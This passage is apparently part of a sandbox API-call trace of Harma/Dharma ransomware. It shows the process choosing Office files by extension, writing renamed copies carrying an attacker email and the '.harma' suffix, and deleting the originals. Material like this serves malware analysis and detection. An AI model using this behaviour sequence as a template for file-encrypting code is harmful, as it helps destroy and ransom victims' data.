lstrlenW (lpString=".jpg") returned 4 [0160.591] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0160.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0160.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0160.591] lstrlenW (lpString=".doc") returned 4 [0160.591] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0160.591] lstrlenW (lpString=".docx") returned 5 [0160.591] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0160.591] lstrlenW (lpString=".pdf") returned 4 [0160.591] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0160.591] lstrlenW (lpString=".xls") returned 4 [0160.591] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0160.591] lstrlenW (lpString=".xlsx") returned 5 [0160.591] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0160.591] lstrlenW (lpString=".ppt") returned 4 [0160.591] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0160.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0160.591] lstrlenW (lpString=".zip") returned 4 [0160.591] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0160.591] lstrlenW (lpString=".rar") returned 4 [0160.591] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0160.591] lstrlenW (lpString=".bz2") returned 4 [0160.591] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0160.591] lstrlenW (lpString=".7z") returned 3 [0160.591] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0160.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0160.591] lstrlenW (lpString=".dbf") returned 4 [0160.591] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0160.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0160.592] lstrlenW (lpString=".1cd") returned 4 [0160.592] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0160.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0160.592] lstrlenW (lpString=".jpg") returned 4 [0160.592] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0160.592] lstrcmpiW (lpString1=".VSL", lpString2=".harma") returned 1 [0160.592] lstrlenW (lpString="SMIGRATE.VSL") returned 12 [0160.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\smigrate.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0160.754] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=38768) returned 1 [0160.754] CloseHandle (hObject=0x368) returned 1 [0160.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\smigrate.vsl")) returned 0x20 [0160.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\smigrate.vsl.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\smigrate.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0160.799] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0160.799] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0160.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\smigrate.vsl.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0161.195] GetLastError () returned 0x0 [0161.195] ReadFile (in: hFile=0x368, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x9770, lpOverlapped=0x0) returned 1 [0161.198] WriteFile (in: hFile=0x378, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x9780, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x9780, lpOverlapped=0x0) returned 1 [0161.732] ReadFile (in: hFile=0x368, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0161.732] WriteFile (in: hFile=0x378, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0161.732] SetEndOfFile (hFile=0x378) returned 1 [0162.108] CloseHandle (hObject=0x378) returned 1 [0162.108] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0162.108] SetEndOfFile (hFile=0x368) returned 1 [0162.186] CloseHandle (hObject=0x368) returned 1 [0162.187] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0162.270] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\smigrate.vsl")) returned 1 [0162.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0162.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0162.368] lstrlenW (lpString=".doc") returned 4 [0162.368] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0162.368] lstrlenW (lpString=".docx") returned 5 [0162.368] lstrcmpiW (lpString1=".docx", lpString2="E.VSL") returned -1 [0162.368] lstrlenW (lpString=".pdf") returned 4 [0162.368] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0162.369] lstrlenW (lpString=".xls") returned 4 [0162.369] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0162.369] lstrlenW (lpString=".xlsx") returned 5 [0162.369] lstrcmpiW (lpString1=".xlsx", lpString2="E.VSL") returned -1 [0162.369] lstrlenW (lpString=".ppt") returned 4 [0162.369] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0162.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0162.369] lstrlenW (lpString=".zip") returned 4 [0162.369] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0162.369] lstrlenW (lpString=".rar") returned 4 [0162.369] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0162.369] lstrlenW (lpString=".bz2") returned 4 [0162.369] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0162.369] lstrlenW (lpString=".7z") returned 3 [0162.369] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0162.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0162.369] lstrlenW (lpString=".dbf") returned 4 [0162.369] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0162.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0162.369] lstrlenW (lpString=".1cd") returned 4 [0162.369] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0162.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0162.369] lstrlenW (lpString=".jpg") returned 4 [0162.369] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0162.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0162.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0162.370] lstrlenW (lpString=".doc") returned 4 [0162.370] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0162.370] lstrlenW (lpString=".docx") returned 5 [0162.370] lstrcmpiW (lpString1=".docx", lpString2="E.VSL") returned -1 [0162.370] lstrlenW (lpString=".pdf") returned 4 [0162.370] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0162.370] lstrlenW (lpString=".xls") returned 4 [0162.370] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0162.370] lstrlenW (lpString=".xlsx") returned 5 [0162.370] lstrcmpiW (lpString1=".xlsx", lpString2="E.VSL") returned -1 [0162.370] lstrlenW (lpString=".ppt") returned 4 [0162.370] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0162.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0162.370] lstrlenW (lpString=".zip") returned 4 [0162.370] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0162.370] lstrlenW (lpString=".rar") returned 4 [0162.370] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0162.370] lstrlenW (lpString=".bz2") returned 4 [0162.370] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0162.370] lstrlenW (lpString=".7z") returned 3 [0162.370] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0162.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0162.370] lstrlenW (lpString=".dbf") returned 4 [0162.370] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0162.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0162.371] lstrlenW (lpString=".1cd") returned 4 [0162.371] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0162.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0162.371] lstrlenW (lpString=".jpg") returned 4 [0162.371] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0162.371] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0162.371] lstrlenW (lpString="VISBRRES.DLL") returned 12 [0162.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0162.388] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=37264) returned 1 [0162.388] CloseHandle (hObject=0x3a4) returned 1 [0162.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll")) returned 0x20 [0162.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0162.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0162.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0162.397] lstrlenW (lpString=".doc") returned 4 [0162.397] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0162.397] lstrlenW (lpString=".docx") returned 5 [0162.397] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0162.397] lstrlenW (lpString=".pdf") returned 4 [0162.397] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0162.397] lstrlenW (lpString=".xls") returned 4 [0162.397] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0162.397] lstrlenW (lpString=".xlsx") returned 5 [0162.397] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0162.397] lstrlenW (lpString=".ppt") returned 4 [0162.397] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0162.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0162.397] lstrlenW (lpString=".zip") returned 4 [0162.397] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0162.397] lstrlenW (lpString=".rar") returned 4 [0162.397] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0162.397] lstrlenW (lpString=".bz2") returned 4 [0162.398] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0162.398] lstrlenW (lpString=".7z") returned 3 [0162.398] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0162.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0162.398] lstrlenW (lpString=".dbf") returned 4 [0162.398] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0162.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0162.399] lstrlenW (lpString=".1cd") returned 4 [0162.399] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0162.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0162.399] lstrlenW (lpString=".jpg") returned 4 [0162.399] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0162.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0162.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0162.399] lstrlenW (lpString=".doc") returned 4 [0162.399] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0162.399] lstrlenW (lpString=".docx") returned 5 [0162.399] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0162.399] lstrlenW (lpString=".pdf") returned 4 [0162.399] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0162.399] lstrlenW (lpString=".xls") returned 4 [0162.399] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0162.399] lstrlenW (lpString=".xlsx") returned 5 [0162.399] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0162.399] lstrlenW (lpString=".ppt") returned 4 [0162.399] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0162.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0162.399] lstrlenW (lpString=".zip") returned 4 [0162.399] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0162.399] lstrlenW (lpString=".rar") returned 4 [0162.400] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0162.400] lstrlenW (lpString=".bz2") returned 4 [0162.400] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0162.400] lstrlenW (lpString=".7z") returned 3 [0162.400] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0162.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0162.400] lstrlenW (lpString=".dbf") returned 4 [0162.400] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0162.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0162.400] lstrlenW (lpString=".1cd") returned 4 [0162.400] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0162.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0162.400] lstrlenW (lpString=".jpg") returned 4 [0162.400] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0162.400] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".harma") returned 1 [0162.400] lstrlenW (lpString="VISBRRES.DLL.IDX_DLL") returned 20 [0162.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0162.401] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=19328) returned 1 [0162.401] CloseHandle (hObject=0x3a4) returned 1 [0162.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.idx_dll")) returned 0x20 [0162.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0162.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0162.402] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0162.402] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0162.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0162.403] GetLastError () returned 0x0 [0162.403] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x4b80, lpOverlapped=0x0) returned 1 [0162.406] WriteFile (in: hFile=0x364, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x4b90, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x4b90, lpOverlapped=0x0) returned 1 [0162.408] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0162.409] WriteFile (in: hFile=0x364, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xfc, lpOverlapped=0x0) returned 1 [0162.409] SetEndOfFile (hFile=0x364) returned 1 [0162.409] CloseHandle (hObject=0x364) returned 1 [0162.409] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0162.409] SetEndOfFile (hFile=0x3a4) returned 1 [0162.412] CloseHandle (hObject=0x3a4) returned 1 [0162.413] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0162.413] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.idx_dll")) returned 1 [0162.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0162.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0162.414] lstrlenW (lpString=".doc") returned 4 [0162.414] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0162.414] lstrlenW (lpString=".docx") returned 5 [0162.414] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0162.414] lstrlenW (lpString=".pdf") returned 4 [0162.414] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0162.414] lstrlenW (lpString=".xls") returned 4 [0162.414] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0162.414] lstrlenW (lpString=".xlsx") returned 5 [0162.414] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0162.414] lstrlenW (lpString=".ppt") returned 4 [0162.414] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0162.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0162.414] lstrlenW (lpString=".zip") returned 4 [0162.414] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0162.414] lstrlenW (lpString=".rar") returned 4 [0162.414] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0162.414] lstrlenW (lpString=".bz2") returned 4 [0162.414] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0162.414] lstrlenW (lpString=".7z") returned 3 [0162.414] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0162.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0162.415] lstrlenW (lpString=".dbf") returned 4 [0162.415] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0162.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0162.415] lstrlenW (lpString=".1cd") returned 4 [0162.415] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0162.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0162.415] lstrlenW (lpString=".jpg") returned 4 [0162.415] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0162.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0162.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0162.415] lstrlenW (lpString=".doc") returned 4 [0162.415] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0162.415] lstrlenW (lpString=".docx") returned 5 [0162.415] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0162.415] lstrlenW (lpString=".pdf") returned 4 [0162.415] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0162.415] lstrlenW (lpString=".xls") returned 4 [0162.415] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0162.416] lstrlenW (lpString=".xlsx") returned 5 [0162.416] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0162.416] lstrlenW (lpString=".ppt") returned 4 [0162.416] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0162.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0162.416] lstrlenW (lpString=".zip") returned 4 [0162.416] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0162.416] lstrlenW (lpString=".rar") returned 4 [0162.416] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0162.416] lstrlenW (lpString=".bz2") returned 4 [0162.416] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0162.416] lstrlenW (lpString=".7z") returned 3 [0162.416] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0162.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0162.416] lstrlenW (lpString=".dbf") returned 4 [0162.416] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0162.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0162.416] lstrlenW (lpString=".1cd") returned 4 [0162.416] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0162.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0162.416] lstrlenW (lpString=".jpg") returned 4 [0162.416] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0162.416] lstrcmpiW (lpString1=".VSL", lpString2=".harma") returned 1 [0162.417] lstrlenW (lpString="VISCOLOR.VSL") returned 12 [0162.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\viscolor.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0162.417] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=43392) returned 1 [0162.417] CloseHandle (hObject=0x3a4) returned 1 [0162.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\viscolor.vsl")) returned 0x20 [0162.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\viscolor.vsl.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0162.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\viscolor.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 